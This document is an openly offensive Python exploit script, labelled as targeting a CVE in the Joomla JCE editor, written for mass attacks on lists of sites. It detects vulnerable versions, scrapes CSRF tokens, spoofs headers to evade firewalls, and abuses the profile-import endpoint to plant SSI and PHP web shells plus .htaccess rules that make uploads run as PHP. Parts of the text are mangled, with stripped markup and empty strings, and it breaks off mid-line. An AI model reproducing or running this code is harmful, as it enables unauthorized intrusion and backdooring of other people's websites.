#!/usr/bin/env python3 """ ssi4.py — CVE-2026-48907 JCE x ALL-IN-ONE X Sec0x """ import argparse import random import re import string import sys import threading import time import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) G, R, O, C, D, BD, RST = "\033[92m", "\033[91m", "\033[38;5;214m", "\033[96m", "\033[90m", "\033[1m", "\033[0m" PL, OL = threading.Lock(), threading.Lock() UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" UID = re.compile(r"uid=\d+\([^)]+\)\s+gid=\d+") SSI_MARK = "SSInjection Terminal" ERRMSG = re.compile(r"\[Error in shell\]|\[an error occurred", re.I) JCE_PATHS = ( "/plugins/editors/jce/jce.xml", "/administrator/components/com_jce/jce.xml", "/plugins/system/jcemediabox/js/jcemediabox.js", ) JCE_PROBE = ( "/index.php?option=com_jce&task=cpanel", "/index.php?option=com_jce&task=profiles.import", ) TOKEN_PATHS = ( "/", "/index.php", "/index.php?option=com_jce&task=cpanel", "/index.php?option=com_jce&task=plugin&plugin=browser", "/administrator/", "/administrator/index.php", ) TOKEN_RX = ( r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r'name=["\']csrf\.token["\']\s+value=["\']([a-f0-9]{32})"', r']*name="([a-f0-9]{32})"[^>]*value="1"', ) WAF_HDR = ({}, {"X-Forwarded-For": "127.0.0.1"}, {"X-Real-IP": "127.0.0.1"}) TMP_DIRS = ("tmp/", "cache/", "administrator/cache/") PHP_EXTS = ("php", "phtml", "php3", "php7", "php5", "phar", "pht") def say(m): with PL: sys.stdout.write(m + "\n") sys.stdout.flush() def rnd(n=8): return "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) def norm(url): u = url.strip() if not u.startswith(("http://", "https://")): u = "https://" + u return u.rstrip("/") ANSI_RE = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])") def extract_url(line): clean = ANSI_RE.sub("", line).strip() m = re.search(r"https?://[a-zA-Z0-9._:/?&=%#-]+", clean) if m: return m.group(0).rstrip(".,;[]\"'") host = clean.split()[0] if clean else "" if host and "." in host and not host.startswith("#"): return norm(host) return None def load_targets(url=None, list_path=None, stdin=True): targets = [] if url: targets.append(norm(url)) if list_path: with open(list_path, encoding="utf-8", errors="ignore") as f: for line in f: line = line.strip() if not line or line.startswith("#"): continue u = extract_url(line) or norm(line) if u: targets.append(u) if stdin and not sys.stdin.isatty(): for line in sys.stdin: u = extract_url(line) if u: targets.append(u) return list(dict.fromkeys(targets)) def waf(r): return not r or r.status_code in (403, 406, 419, 423, 503) def patched(ver): try: p = [int(x) for x in (ver or "").split(".")] for a, b in zip(p, [2, 9, 99, 5]): if a > b: return True if a < b: return False return len(p) >= 4 except Exception: return False def shell_php(): return r"""""" def shell_ssi(): return r""" SSInjection
    |\__/,|   (`\
    |o o  |__ _) SSInjection Terminal
  _.( T   )  `  / 
 ((_ `^--' /_<  \
 `` `-'(((/  (((/                                   
Server :
GMT date :
Local date :
Document URI :
Last modified :

Command :
Executed Command :
""" def textarea_out(body): m = re.search(r"]*>(.*?)", body, re.I | re.S) return (m.group(1).strip() if m else "") def ssi_echo_alive(body): if not body or SSI_MARK not in body: return False if "" in body: return False m = re.search(r"GMT date\s*:\s*(.+?)\n SetHandler server-parsed\n\n" ) def htaccess_php_shtml(): return ( b"AddHandler application/x-httpd-php .shtml .shtm\n" b"AddType application/x-httpd-php .shtml .shtm\n" ) def htaccess_all(): exts = " ".join(f".{e}" for e in PHP_EXTS) lines = [ "\n php_flag engine on\n", f"AddHandler application/x-httpd-php {exts}", ] for e in PHP_EXTS: lines.append(f"\n SetHandler application/x-httpd-php\n") return "\n".join(lines).encode() def htaccess_ext(ext): e = ext.lstrip(".") return ( f"AddHandler application/x-httpd-php .{e}\n" f"\n SetHandler application/x-httpd-php\n\n" ).encode() def routes(task, token): tok = {token: "1"} if token else {} enc = task.replace(".", "%2e") return [ ("/index.php?option=com_jce", {**tok, "task": task}), (f"/index.php?option=com_jce&task={task}", dict(tok)), (f"/index.php?option=com_jce&task={enc}", dict(tok)), (f"/index.php?option=com_jce&task={task}&format=raw&Itemid=0", dict(tok)), ] class Engine: def __init__(self, url, timeout=20, verbose=False, mode="all"): self.url = norm(url) self.timeout = timeout self.verbose = verbose self.mode = mode # all | ssi | php self.s = requests.Session() self.s.verify = False self.s.headers["User-Agent"] = UA self.token = self.ver = None def log(self, msg): if self.verbose: say(f" {D}{msg}{RST}") def get(self, path, timeout=None): u = path if path.startswith("http") else self.url + path for hdr in WAF_HDR: try: r = self.s.get(u, timeout=timeout or self.timeout, headers={"User-Agent": UA, **hdr}, allow_redirects=True) if r is not None: return r except requests.RequestException: continue return None def post(self, path, data, files): for hdr in WAF_HDR: try: return self.s.post( self.url + path if not path.startswith("http") else path, data=data, files=files, timeout=self.timeout, headers={"User-Agent": UA, "Referer": self.url + "/", **hdr}, allow_redirects=True, ) except requests.RequestException: continue return None def jce_import(self, name, blob): def ok(r): if not r or r.status_code != 200 or waf(r): return False try: for msgs in r.json().get("messages", {}).values(): for msg in msgs: if "imported successfully" in str(msg).lower(): return True except Exception: pass return len(r.content or b"") < 60000 for path, body in routes("profiles.import", self.token): for ctype in ("application/xml", "text/plain"): r = self.post(path, body, {"profile_file": (name, blob, ctype)}) if ok(r): return True if self.verbose: self.log(f"import gagal: {name}") return False def find_jce(self): for p in JCE_PATHS: r = self.get(p) if not r or r.status_code != 200: continue if p.endswith(".xml"): m = re.search(r"([^<]+)", r.text or "", re.I) if m: self.ver = m.group(1).strip() return True elif "jce" in (r.text or "").lower(): return True for p in JCE_PROBE: r = self.get(p) if r and r.status_code == 200 and "jce" in (r.text or "").lower(): if not self.ver: m = re.search(r"(\d+\.\d+\.\d+)", r.text or "") if m: self.ver = m.group(1) return True return False def find_token(self): for page in TOKEN_PATHS: r = self.get(page) if not r or r.status_code != 200: continue for rx in TOKEN_RX: m = re.search(rx, r.text or "", re.I) if m: self.token = m.group(1) return True return False def find_file(self, tail): for d in TMP_DIRS: p = f"/{d}{tail}" r = self.get(p) if r and r.status_code == 200: return p return None def shell_url(self, path): return re.sub(r"(?